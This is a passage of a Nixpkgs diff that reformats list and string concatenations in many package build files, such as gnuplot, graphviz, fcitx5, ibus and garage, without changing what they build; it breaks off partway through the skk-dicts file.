--- a/pkgs/tools/filesystems/ceph/old-python-packages/cryptography.nix
+++ b/pkgs/tools/filesystems/ceph/old-python-packages/cryptography.nix
@@ -77,14 +77,16 @@ buildPythonPackage rec {
     cargo
     rustc
     pkg-config
-  ] ++ lib.optionals (!isPyPy) [ cffi ];
+  ]
+  ++ lib.optionals (!isPyPy) [ cffi ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals (pythonOlder "3.9") [ libxcrypt ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ libxcrypt ];
 
   propagatedBuildInputs = lib.optionals (!isPyPy) [ cffi ];
 
@@ -101,16 +103,15 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "--disable-pytest-warnings" ];
 
-  disabledTestPaths =
-    [
-      # save compute time by not running benchmarks
-      "tests/bench"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # aarch64-darwin forbids W+X memory, but this tests depends on it:
-      # * https://cffi.readthedocs.io/en/latest/using.html#callbacks
-      "tests/hazmat/backends/test_openssl_memleak.py"
-    ];
+  disabledTestPaths = [
+    # save compute time by not running benchmarks
+    "tests/bench"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # aarch64-darwin forbids W+X memory, but this tests depends on it:
+    # * https://cffi.readthedocs.io/en/latest/using.html#callbacks
+    "tests/hazmat/backends/test_openssl_memleak.py"
+  ];
 
   meta = with lib; {
     description = "A package which provides cryptographic recipes and primitives";
diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index 5af808b5a78b..d7dc1e08a00c 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -57,35 +57,33 @@ let
 
       # See https://git.deuxfleurs.fr/Deuxfleurs/garage/src/tag/v0.8.2/nix/compile.nix#L192-L198
       # on version changes for checking if changes are required here
-      buildFeatures =
-        [
-          "kubernetes-discovery"
-          "bundled-libs"
-        ]
-        ++ lib.optional (lib.versionOlder version "1.0") "sled"
-        ++ [
-          "metrics"
-          "k2v"
-          "telemetry-otlp"
-          "lmdb"
-          "sqlite"
-          "consul-discovery"
-        ];
+      buildFeatures = [
+        "kubernetes-discovery"
+        "bundled-libs"
+      ]
+      ++ lib.optional (lib.versionOlder version "1.0") "sled"
+      ++ [
+        "metrics"
+        "k2v"
+        "telemetry-otlp"
+        "lmdb"
+        "sqlite"
+        "consul-discovery"
+      ];
 
       # To make integration tests pass, we include the optional k2v feature here,
       # but in buildFeatures only for version 0.8+, where it's enabled by default.
       # See: https://garagehq.deuxfleurs.fr/documentation/reference-manual/k2v/
-      checkFeatures =
-        [
-          "k2v"
-          "kubernetes-discovery"
-          "bundled-libs"
-        ]
-        ++ lib.optional (lib.versionOlder version "1.0") "sled"
-        ++ [
-          "lmdb"
-          "sqlite"
-        ];
+      checkFeatures = [
+        "k2v"
+        "kubernetes-discovery"
+        "bundled-libs"
+      ]
+      ++ lib.optional (lib.versionOlder version "1.0") "sled"
+      ++ [
+        "lmdb"
+        "sqlite"
+      ];
 
       disabledTests = [
         # Upstream told us this test is flakey.
diff --git a/pkgs/tools/filesystems/irods/default.nix b/pkgs/tools/filesystems/irods/default.nix
index e5e6f29e7eb4..dd730d523280 100644
--- a/pkgs/tools/filesystems/irods/default.nix
+++ b/pkgs/tools/filesystems/irods/default.nix
@@ -112,18 +112,16 @@ rec {
         "-DCMAKE_SHARED_LINKER_FLAGS=-Wl,-rpath,${placeholder "out"}/lib"
       ];
 
-      postPatch =
-        common.postPatch
-        + ''
-          patchShebangs ./test
-          substituteInPlace plugins/database/CMakeLists.txt --replace-fail "COMMAND cpp" "COMMAND ${gcc.cc}/bin/cpp"
-          for file in unit_tests/cmake/test_config/*.cmake
-          do
-            substituteInPlace $file --replace-quiet "CATCH2}/include" "CATCH2}/include/catch2"
-          done
+      postPatch = common.postPatch + ''
+        patchShebangs ./test
+        substituteInPlace plugins/database/CMakeLists.txt --replace-fail "COMMAND cpp" "COMMAND ${gcc.cc}/bin/cpp"
+        for file in unit_tests/cmake/test_config/*.cmake
+        do
+          substituteInPlace $file --replace-quiet "CATCH2}/include" "CATCH2}/include/catch2"
+        done
 
-          substituteInPlace server/auth/CMakeLists.txt --replace-fail SETUID ""
-        '';
+        substituteInPlace server/auth/CMakeLists.txt --replace-fail SETUID ""
+      '';
 
       meta = common.meta // {
         longDescription = common.meta.longDescription + "This package provides the servers and libraries.";
@@ -149,11 +147,9 @@ rec {
 
       buildInputs = common.buildInputs ++ [ irods ];
 
-      postPatch =
-        common.postPatch
-        + ''
-          patchShebangs ./bin
-        '';
+      postPatch = common.postPatch + ''
+        patchShebangs ./bin
+      '';
 
       cmakeFlags = common.cmakeFlags ++ [
         "-DCMAKE_INSTALL_PREFIX=${stdenv.out}"
diff --git a/pkgs/tools/games/alice-tools/default.nix b/pkgs/tools/games/alice-tools/default.nix
index 7964aa77c38a..68a380b0e1b6 100644
--- a/pkgs/tools/games/alice-tools/default.nix
+++ b/pkgs/tools/games/alice-tools/default.nix
@@ -47,47 +47,44 @@ stdenv.mkDerivation (finalAttrs: {
     "-Dcpp_std=c++17"
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      bison
-      flex
-    ]
-    ++ lib.optionals withGUI [
-      wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    bison
+    flex
+  ]
+  ++ lib.optionals withGUI [
+    wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      libiconv
-      libpng
-      libjpeg
-      libwebp
-      zlib
-    ]
-    ++ lib.optionals withGUI [
-      qtbase
-    ];
+  buildInputs = [
+    libiconv
+    libpng
+    libjpeg
+    libwebp
+    zlib
+  ]
+  ++ lib.optionals withGUI [
+    qtbase
+  ];
 
   dontWrapQtApps = true;
 
   # Default install step only installs a static library of a build dependency
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      install -Dm755 src/alice $out/bin/alice
-    ''
-    + lib.optionalString withGUI ''
-      install -Dm755 src/galice $out/bin/galice
-      wrapQtApp $out/bin/galice
-    ''
-    + ''
+    install -Dm755 src/alice $out/bin/alice
+  ''
+  + lib.optionalString withGUI ''
+    install -Dm755 src/galice $out/bin/galice
+    wrapQtApp $out/bin/galice
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   passthru = {
     updateScript = gitUpdater { };
diff --git a/pkgs/tools/games/pokefinder/default.nix b/pkgs/tools/games/pokefinder/default.nix
index ed9d62db08ce..b0f23758f124 100644
--- a/pkgs/tools/games/pokefinder/default.nix
+++ b/pkgs/tools/games/pokefinder/default.nix
@@ -41,33 +41,31 @@ stdenv.mkDerivation rec {
     patchShebangs Source/Core/Resources/
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
-      mkdir -p $out/Applications
-      cp -R Source/PokeFinder.app $out/Applications
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      install -D Source/PokeFinder $out/bin/PokeFinder
-      mkdir -p $out/share/pixmaps
-      convert "$src/Source/Form/Images/pokefinder.ico[-1]" $out/share/pixmaps/pokefinder.png
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin) ''
+    mkdir -p $out/Applications
+    cp -R Source/PokeFinder.app $out/Applications
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    install -D Source/PokeFinder $out/bin/PokeFinder
+    mkdir -p $out/share/pixmaps
+    convert "$src/Source/Form/Images/pokefinder.ico[-1]" $out/share/pixmaps/pokefinder.png
+  ''
+  + ''
+    runHook postInstall
+  '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      wrapQtAppsHook
-      python3
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      copyDesktopItems
-      imagemagick
-    ];
+  nativeBuildInputs = [
+    cmake
+    wrapQtAppsHook
+    python3
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    copyDesktopItems
+    imagemagick
+  ];
 
   desktopItems = [
     (makeDesktopItem {
@@ -83,7 +81,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     qtbase
     qttools
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
 
   passthru.updateScript = gitUpdater {
     rev-prefix = "v";
diff --git a/pkgs/tools/graphics/asymptote/default.nix b/pkgs/tools/graphics/asymptote/default.nix
index f27b0f39349e..60eeb04e8c12 100644
--- a/pkgs/tools/graphics/asymptote/default.nix
+++ b/pkgs/tools/graphics/asymptote/default.nix
@@ -55,39 +55,38 @@ stdenv.mkDerivation (finalAttrs: {
   texContainer = null;
   texdocContainer = null;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      bison
-      flex
-      bison
-      texinfo
-      wrapQtAppsHook
-      cmake
-      ghostscriptX
-      perl
-      pkg-config
-      (python3.withPackages (
-        ps: with ps; [
-          click
-          cson
-          numpy
-          pyqt5
-        ]
-      ))
-    ]
-    ++ lib.optional (finalAttrs.texContainer == null || finalAttrs.texdocContainer == null) (
-      texliveSmall.withPackages (
-        ps: with ps; [
-          epsf
-          cm-super
-          ps.texinfo
-          media9
-          ocgx2
-          collection-latexextra
-        ]
-      )
-    );
+  nativeBuildInputs = [
+    autoreconfHook
+    bison
+    flex
+    bison
+    texinfo
+    wrapQtAppsHook
+    cmake
+    ghostscriptX
+    perl
+    pkg-config
+    (python3.withPackages (
+      ps: with ps; [
+        click
+        cson
+        numpy
+        pyqt5
+      ]
+    ))
+  ]
+  ++ lib.optional (finalAttrs.texContainer == null || finalAttrs.texdocContainer == null) (
+    texliveSmall.withPackages (
+      ps: with ps; [
+        epsf
+        cm-super
+        ps.texinfo
+        media9
+        ocgx2
+        collection-latexextra
+      ]
+    )
+  );
 
   buildInputs = [
     ghostscriptX
@@ -114,18 +113,18 @@ stdenv.mkDerivation (finalAttrs: {
         pyqt5
       ]
     ))
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libtirpc ];
 
-  propagatedBuildInputs =
-    [
-      glm
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libglut
-      libGLU
-      libGL
-      libglvnd
-    ];
+  propagatedBuildInputs = [
+    glm
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libglut
+    libGLU
+    libGL
+    libglvnd
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/tools/graphics/gnuplot/default.nix b/pkgs/tools/graphics/gnuplot/default.nix
index dd2dcaf6825f..e202242ab246 100644
--- a/pkgs/tools/graphics/gnuplot/default.nix
+++ b/pkgs/tools/graphics/gnuplot/default.nix
@@ -51,45 +51,44 @@ in
     makeWrapper
     pkg-config
     texinfo
-  ] ++ lib.optional withQt qttools;
+  ]
+  ++ lib.optional withQt qttools;
 
-  buildInputs =
-    [
-      cairo
-      gd
-      libcerf
-      pango
-      readline
-      zlib
-    ]
-    ++ lib.optional withTeXLive texliveSmall
-    ++ lib.optional withLua lua
-    ++ lib.optional withCaca libcaca
-    ++ lib.optionals withX [
-      libX11
-      libXpm
-      libXt
-      libXaw
-    ]
-    ++ lib.optionals withQt [
-      qtbase
-      qtsvg
-    ]
-    ++ lib.optional withWxGTK wxGTK32;
+  buildInputs = [
+    cairo
+    gd
+    libcerf
+    pango
+    readline
+    zlib
+  ]
+  ++ lib.optional withTeXLive texliveSmall
+  ++ lib.optional withLua lua
+  ++ lib.optional withCaca libcaca
+  ++ lib.optionals withX [
+    libX11
+    libXpm
+    libXt
+    libXaw
+  ]
+  ++ lib.optionals withQt [
+    qtbase
+    qtsvg
+  ]
+  ++ lib.optional withWxGTK wxGTK32;
 
   postPatch = ''
     # lrelease is in qttools, not in qtbase.
     sed -i configure -e 's|''${QT5LOC}/lrelease|lrelease|'
   '';
 
-  configureFlags =
-    [
-      (if withX then "--with-x" else "--without-x")
-      (if withQt then "--with-qt=qt5" else "--without-qt")
-      (if aquaterm then "--with-aquaterm" else "--without-aquaterm")
-    ]
-    ++ lib.optional withCaca "--with-caca"
-    ++ lib.optional withTeXLive "--with-texdir=${placeholder "out"}/share/texmf/tex/latex/gnuplot";
+  configureFlags = [
+    (if withX then "--with-x" else "--without-x")
+    (if withQt then "--with-qt=qt5" else "--without-qt")
+    (if aquaterm then "--with-aquaterm" else "--without-aquaterm")
+  ]
+  ++ lib.optional withCaca "--with-caca"
+  ++ lib.optional withTeXLive "--with-texdir=${placeholder "out"}/share/texmf/tex/latex/gnuplot";
 
   CXXFLAGS = lib.optionalString (stdenv.hostPlatform.isDarwin && withQt) "-std=c++11";
 
diff --git a/pkgs/tools/graphics/graphviz/default.nix b/pkgs/tools/graphics/graphviz/default.nix
index b73f00771c51..03fc9497cb95 100644
--- a/pkgs/tools/graphics/graphviz/default.nix
+++ b/pkgs/tools/graphics/graphviz/default.nix
@@ -59,14 +59,16 @@ stdenv.mkDerivation rec {
     gts
     pango
     bash
-  ] ++ optionals withXorg (with xorg; [ libXrender ]);
+  ]
+  ++ optionals withXorg (with xorg; [ libXrender ]);
 
   hardeningDisable = [ "fortify" ];
 
   configureFlags = [
     "--with-ltdl-lib=${libtool.lib}/lib"
     "--with-ltdl-include=${libtool}/include"
-  ] ++ optional (xorg == null) "--without-x";
+  ]
+  ++ optional (xorg == null) "--without-x";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/graphics/mangohud/default.nix b/pkgs/tools/graphics/mangohud/default.nix
index b565ce52b92c..992afd60d3cb 100644
--- a/pkgs/tools/graphics/mangohud/default.nix
+++ b/pkgs/tools/graphics/mangohud/default.nix
@@ -188,21 +188,20 @@ stdenv.mkDerivation (finalAttrs: {
     unzip
   ];
 
-  buildInputs =
-    [
-      dbus
-      nlohmann_json
-      spdlog
-    ]
-    ++ lib.optional waylandSupport wayland
-    ++ lib.optional x11Support libX11
-    ++ lib.optional nvidiaSupport libXNVCtrl
-    ++ lib.optional (x11Support || waylandSupport) libxkbcommon
-    ++ lib.optionals mangoappSupport [
-      glew
-      glfw
-      libXrandr
-    ];
+  buildInputs = [
+    dbus
+    nlohmann_json
+    spdlog
+  ]
+  ++ lib.optional waylandSupport wayland
+  ++ lib.optional x11Support libX11
+  ++ lib.optional nvidiaSupport libXNVCtrl
+  ++ lib.optional (x11Support || waylandSupport) libxkbcommon
+  ++ lib.optionals mangoappSupport [
+    glew
+    glfw
+    libXrandr
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/tools/graphics/nifskope/default.nix b/pkgs/tools/graphics/nifskope/default.nix
index c34ac5bdf935..5d74c450fd5b 100644
--- a/pkgs/tools/graphics/nifskope/default.nix
+++ b/pkgs/tools/graphics/nifskope/default.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation {
       url = "https://github.com/niftools/nifskope/commit/30954e7f01f3d779a2a1fd37d363e8a6ad560bd3.patch";
       sha256 = "0d6xjj2mjjhdd7w1aig5f75jksjni16jyj0lxsz51pys6xqb6fpj";
     })
-  ] ++ (lib.optional stdenv.hostPlatform.isAarch64 ./no-sse-on-arm.patch);
+  ]
+  ++ (lib.optional stdenv.hostPlatform.isAarch64 ./no-sse-on-arm.patch);
 
   buildInputs = [
     qtbase
diff --git a/pkgs/tools/graphics/pfstools/default.nix b/pkgs/tools/graphics/pfstools/default.nix
index 43b9bdb9f8e7..4e4d7440792c 100644
--- a/pkgs/tools/graphics/pfstools/default.nix
+++ b/pkgs/tools/graphics/pfstools/default.nix
@@ -54,25 +54,24 @@ mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      openexr
-      zlib
-      imagemagick6
-      fftwFloat
-      fftw
-      gsl
-      libexif
-      perl
-      qtbase
-      netpbm
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libGLU
-      libGL
-      libglut
-    ]
-    ++ lib.optional enableUnfree (opencv.override { enableUnfree = true; });
+  buildInputs = [
+    openexr
+    zlib
+    imagemagick6
+    fftwFloat
+    fftw
+    gsl
+    libexif
+    perl
+    qtbase
+    netpbm
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libGLU
+    libGL
+    libglut
+  ]
+  ++ lib.optional enableUnfree (opencv.override { enableUnfree = true; });
 
   patches = [
     ./glut.patch
diff --git a/pkgs/tools/graphics/vulkan-caps-viewer/default.nix b/pkgs/tools/graphics/vulkan-caps-viewer/default.nix
index 0148b127e73a..2c64add96d60 100644
--- a/pkgs/tools/graphics/vulkan-caps-viewer/default.nix
+++ b/pkgs/tools/graphics/vulkan-caps-viewer/default.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     vulkan-loader
     wayland
-  ] ++ lib.lists.optionals x11Support [ qtx11extras ];
+  ]
+  ++ lib.lists.optionals x11Support [ qtx11extras ];
 
   patchPhase = ''
     substituteInPlace vulkanCapsViewer.pro \
diff --git a/pkgs/tools/graphics/zbar/default.nix b/pkgs/tools/graphics/zbar/default.nix
index c899421687eb..4d40b00a321f 100644
--- a/pkgs/tools/graphics/zbar/default.nix
+++ b/pkgs/tools/graphics/zbar/default.nix
@@ -63,39 +63,37 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      xmlto
-      autoreconfHook
-      docbook_xsl
-    ]
-    ++ lib.optionals enableVideo [
-      wrapGAppsHook3
-      wrapQtAppsHook
-      qtbase
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    xmlto
+    autoreconfHook
+    docbook_xsl
+  ]
+  ++ lib.optionals enableVideo [
+    wrapGAppsHook3
+    wrapQtAppsHook
+    qtbase
+  ];
 
-  buildInputs =
-    [
-      imagemagickBig
-      libintl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals enableDbus [
-      dbus
-    ]
-    ++ lib.optionals withXorg [
-      libX11
-    ]
-    ++ lib.optionals enableVideo [
-      libv4l
-      gtk3
-      qtbase
-      qtx11extras
-    ];
+  buildInputs = [
+    imagemagickBig
+    libintl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals enableDbus [
+    dbus
+  ]
+  ++ lib.optionals withXorg [
+    libX11
+  ]
+  ++ lib.optionals enableVideo [
+    libv4l
+    gtk3
+    qtbase
+    qtx11extras
+  ];
 
   nativeCheckInputs = [
     bash
@@ -116,32 +114,31 @@ stdenv.mkDerivation rec {
   # Disable assertions which include -dev QtBase file paths.
   env.NIX_CFLAGS_COMPILE = "-DQT_NO_DEBUG";
 
-  configureFlags =
-    [
-      "--without-python"
-    ]
-    ++ (
-      if enableDbus then
-        [
-          "--with-dbusconfdir=${placeholder "out"}/share"
-        ]
-      else
-        [
-          "--without-dbus"
-        ]
-    )
-    ++ (
-      if enableVideo then
-        [
-          "--with-gtk=gtk3"
-        ]
-      else
-        [
-          "--disable-video"
-          "--without-gtk"
-          "--without-qt"
-        ]
-    );
+  configureFlags = [
+    "--without-python"
+  ]
+  ++ (
+    if enableDbus then
+      [
+        "--with-dbusconfdir=${placeholder "out"}/share"
+      ]
+    else
+      [
+        "--without-dbus"
+      ]
+  )
+  ++ (
+    if enableVideo then
+      [
+        "--with-gtk=gtk3"
+      ]
+    else
+      [
+        "--disable-video"
+        "--without-gtk"
+        "--without-qt"
+      ]
+  );
 
   doCheck = true;
 
diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix
index 4203126e72e5..0229b679a69d 100644
--- a/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix
+++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix
@@ -64,7 +64,8 @@ stdenv.mkDerivation rec {
     opencc
     qtwebengine
     fmt
-  ] ++ lib.optional luaSupport fcitx5-lua;
+  ]
+  ++ lib.optional luaSupport fcitx5-lua;
 
   cmakeFlags = [
     (lib.cmakeBool "USE_QT6" (lib.versions.major qtbase.version == "6"))
diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix
index 4e4dce0c97f2..7c424bad855f 100644
--- a/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix
+++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix
@@ -52,38 +52,37 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
+  buildInputs = [
+    fcitx5
+    fcitx5-qt
+    qtbase
+    qtsvg
+    qtwayland
+    kitemviews
+    kwidgetsaddons
+    isocodes
+    xkeyboardconfig
+    libxkbfile
+  ]
+  ++ lib.optionals (lib.versions.major qtbase.version == "5") [
+    qtx11extras
+  ]
+  ++ lib.optionals kcmSupport (
     [
-      fcitx5
-      fcitx5-qt
-      qtbase
-      qtsvg
-      qtwayland
-      kitemviews
-      kwidgetsaddons
-      isocodes
-      xkeyboardconfig
-      libxkbfile
+      qtdeclarative
+      kcoreaddons
+      kdeclarative
     ]
     ++ lib.optionals (lib.versions.major qtbase.version == "5") [
-      qtx11extras
+      qtquickcontrols2
+      plasma-framework
+      kirigami2
     ]
-    ++ lib.optionals kcmSupport (
-      [
-        qtdeclarative
-        kcoreaddons
-        kdeclarative
-      ]
-      ++ lib.optionals (lib.versions.major qtbase.version == "5") [
-        qtquickcontrols2
-        plasma-framework
-        kirigami2
-      ]
-      ++ lib.optionals (lib.versions.major qtbase.version == "6") [
-        libplasma
-        kirigami
-      ]
-    );
+    ++ lib.optionals (lib.versions.major qtbase.version == "6") [
+      libplasma
+      kirigami
+    ]
+  );
 
   meta = with lib; {
     description = "Configuration Tool for Fcitx5";
diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix
index d59449b7d6a1..ffd285617c50 100644
--- a/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix
+++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DGOBJECT_INTROSPECTION_GIRDIR=share/gir-1.0"
     "-DGOBJECT_INTROSPECTION_TYPELIBDIR=lib/girepository-1.0"
-  ] ++ lib.optional (!withGTK2) "-DENABLE_GTK2_IM_MODULE=off";
+  ]
+  ++ lib.optional (!withGTK2) "-DENABLE_GTK2_IM_MODULE=off";
 
   buildInputs = [
     glib
@@ -65,7 +66,8 @@ stdenv.mkDerivation rec {
     dbus
     at-spi2-core
     libXtst
-  ] ++ lib.optional withGTK2 gtk2;
+  ]
+  ++ lib.optional withGTK2 gtk2;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix
index 0978efc04c07..66ba434f4090 100644
--- a/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix
+++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix
@@ -32,15 +32,14 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fcitx5
-      libskk
-    ]
-    ++ lib.optionals enableQt [
-      fcitx5-qt
-      qtbase
-    ];
+  buildInputs = [
+    fcitx5
+    libskk
+  ]
+  ++ lib.optionals enableQt [
+    fcitx5-qt
+    qtbase
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "ENABLE_QT" enableQt)
diff --git a/pkgs/tools/inputmethods/fcitx5/with-addons.nix b/pkgs/tools/inputmethods/fcitx5/with-addons.nix
index f6480fe19141..b8063ec9e452 100644
--- a/pkgs/tools/inputmethods/fcitx5/with-addons.nix
+++ b/pkgs/tools/inputmethods/fcitx5/with-addons.nix
@@ -14,17 +14,16 @@
 symlinkJoin {
   name = "fcitx5-with-addons-${fcitx5.version}";
 
-  paths =
-    [
-      fcitx5
-      libsForQt5.fcitx5-qt
-      qt6Packages.fcitx5-qt
-      fcitx5-gtk
-    ]
-    ++ lib.optionals withConfigtool [
-      fcitx5-configtool
-    ]
-    ++ addons;
+  paths = [
+    fcitx5
+    libsForQt5.fcitx5-qt
+    qt6Packages.fcitx5-qt
+    fcitx5-gtk
+  ]
+  ++ lib.optionals withConfigtool [
+    fcitx5-configtool
+  ]
+  ++ addons;
 
   nativeBuildInputs = [ makeBinaryWrapper ];
 
diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-cangjie/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-cangjie/default.nix
index 0fca600cb627..571f9f8b901d 100644
--- a/pkgs/tools/inputmethods/ibus-engines/ibus-cangjie/default.nix
+++ b/pkgs/tools/inputmethods/ibus-engines/ibus-cangjie/default.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation {
     gtk3
     ibus
     python3
-  ] ++ pythonModules;
+  ]
+  ++ pythonModules;
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/tools/inputmethods/ibus/default.nix b/pkgs/tools/inputmethods/ibus/default.nix
index 8e2f0bfbbc80..7089ed2d0c57 100644
--- a/pkgs/tools/inputmethods/ibus/default.nix
+++ b/pkgs/tools/inputmethods/ibus/default.nix
@@ -153,25 +153,24 @@ stdenv.mkDerivation rec {
     glib
   ];
 
-  buildInputs =
-    [
-      dbus
-      systemd
-      dconf
-      gdk-pixbuf
-      python3.pkgs.pygobject3 # for pygobject overrides
-      gtk3
-      gtk4
-      isocodes
-      json-glib
-      libnotify
-      libdbusmenu-gtk3
-      vala # for share/vala/Makefile.vapigen (PKG_CONFIG_VAPIGEN_VAPIGEN)
-    ]
-    ++ lib.optionals withWayland [
-      libxkbcommon
-      wayland
-    ];
+  buildInputs = [
+    dbus
+    systemd
+    dconf
+    gdk-pixbuf
+    python3.pkgs.pygobject3 # for pygobject overrides
+    gtk3
+    gtk4
+    isocodes
+    json-glib
+    libnotify
+    libdbusmenu-gtk3
+    vala # for share/vala/Makefile.vapigen (PKG_CONFIG_VAPIGEN_VAPIGEN)
+  ]
+  ++ lib.optionals withWayland [
+    libxkbcommon
+    wayland
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/inputmethods/input-remapper/default.nix b/pkgs/tools/inputmethods/input-remapper/default.nix
index 583fc35dc430..f76857e7a4d5 100644
--- a/pkgs/tools/inputmethods/input-remapper/default.nix
+++ b/pkgs/tools/inputmethods/input-remapper/default.nix
@@ -46,17 +46,16 @@ in
     hash = "sha256-GMKcs2UK1yegGT/TBsLGgTBJROQ38M6WwnLbJIuAZwg=";
   };
 
-  postPatch =
-    ''
-      # fix FHS paths
-      substituteInPlace inputremapper/configs/data.py \
-        --replace-fail "/usr/share"  "$out/usr/share"
-    ''
-    + lib.optionalString withDebugLogLevel ''
-      # if debugging
-      substituteInPlace inputremapper/logger.py \
-        --replace-fail "logger.setLevel(logging.INFO)"  "logger.setLevel(logging.DEBUG)"
-    '';
+  postPatch = ''
+    # fix FHS paths
+    substituteInPlace inputremapper/configs/data.py \
+      --replace-fail "/usr/share"  "$out/usr/share"
+  ''
+  + lib.optionalString withDebugLogLevel ''
+    # if debugging
+    substituteInPlace inputremapper/logger.py \
+      --replace-fail "logger.setLevel(logging.INFO)"  "logger.setLevel(logging.DEBUG)"
+  '';
 
   nativeBuildInputs = [
     wrapGAppsHook3
@@ -65,7 +64,8 @@ in
     glib
     gobject-introspection
     pygobject3
-  ] ++ maybeXmodmap;
+  ]
+  ++ maybeXmodmap;
 
   dependencies = [
     setuptools # needs pkg_resources
@@ -174,11 +174,9 @@ in
       # this ensures the rev matches the input src's rev after overriding
       # See https://discourse.nixos.org/t/avoid-rec-expresions-in-nixpkgs/8293/7 for more
       # discussion
-      postPatch =
-        prev.postPatch or ""
-        + ''
-          # set revision for --version output
-          echo "COMMIT_HASH = '${final.src.rev}'" > inputremapper/commit_hash.py
-        '';
+      postPatch = prev.postPatch or "" + ''
+        # set revision for --version output
+        echo "COMMIT_HASH = '${final.src.rev}'" > inputremapper/commit_hash.py
+      '';
     }
   )
diff --git a/pkgs/tools/inputmethods/skk/skk-dicts/default.nix b/pkgs/tools/inputmethods/skk/skk-dicts/default.nix
index 83981b27fc3a..c1c03db8cf25 100644
--- a/pkgs/tools/inputmethods/skk/skk-dicts/default.nix
+++ b/pkgs/tools/inputmethods/skk/skk-dicts/default.nix
@@ -35,31 +35,29 @@ let
 
         strictDeps = true;
 
-        buildPhase =
-          ''
-            runHook preBuild
-          ''
-          + lib.concatMapStrings (file: ''
-            nkf -w ${file} \
-              | LC_ALL=C sed 's/coding: [^ ]\{1,\}/coding: utf-8/' \
-              > ${file + suffix}
-          '') (lib.optionals useUtf8 (map lib.escapeShellArg files))
-          + ''
-            runHook postBuild
-          '';
+        buildPhase = ''
+          runHook preBuild
+        ''
+        + lib.concatMapStrings (file: ''
+          nkf -w ${file} \
+            | LC_ALL=C sed 's/coding: [^ ]\{1,\}/coding: utf-8/' \
